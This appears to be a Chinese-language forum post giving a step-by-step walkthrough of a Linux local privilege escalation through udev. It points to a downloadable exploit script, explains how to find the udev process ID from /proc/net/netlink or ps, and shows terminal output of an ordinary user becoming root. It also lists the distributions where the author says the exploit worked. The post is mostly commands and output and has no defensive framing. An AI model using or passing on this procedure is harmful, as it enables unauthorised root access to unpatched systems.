. 在LINUX目录下建立test 帐户<br />2.下载 a脚本 在http://milw0rm.com/exploits/8478<br />3.查看UDEV的PID 方法一: 先cat /proc/net/netlink <br />ffff810077587400 15 364 ffffffff 0 0 0000000000000000 2<br />ffff810037f81000 16 0 00000000 0 0 0000000000000000 2<br />ffff810077078400 18 0 00000000 0 0 0000000000000000 2<br />那个364就是 UDEV的进程,如果出现很多不知道哪一个用方法2<br />方法二:<br />另外最好通过ps aux | grep udev获取pid 为365,然后再-1,把这个参数传给A脚本<br />然后在test 用户的当前目录 里<br />按以下步骤运行<br />[haha@localhost ~]$ id<br />uid=501(haha) gid=502(haha) groups=502(haha)<br />[haha@localhost ~]$sh a 364<br />suid.c: In function 'main':<br />suid.c:3: warning: incompatible implicit declaration of built-in function 'execl'<br />sh-3.1# id<br />uid=0(root) gid=0(root) groups=502(haha)<br />此时的UID 变为0了 ,test用户已经变为 ROOT用户 可以继续以下<br />sh-3.1# bash<br />[root@localhost ~]#<br />看!test -> ROOT 用户大变身!!<br /><br />说说我的测试版本[root@localhost ~]# uname -a<br />Linux localhost.localdomain 2.6.18-8.el5 #1 SMP Fri Jan 26 14:15:14 EST 2007 x86_64 x86_64 x86_64 GNU/Linux<br /><br />目前RH5 和UBANTU 以及DABIAN都测试通过了 但是TURBOLINUX上没有测试通过..<br /><br /><br /> |
|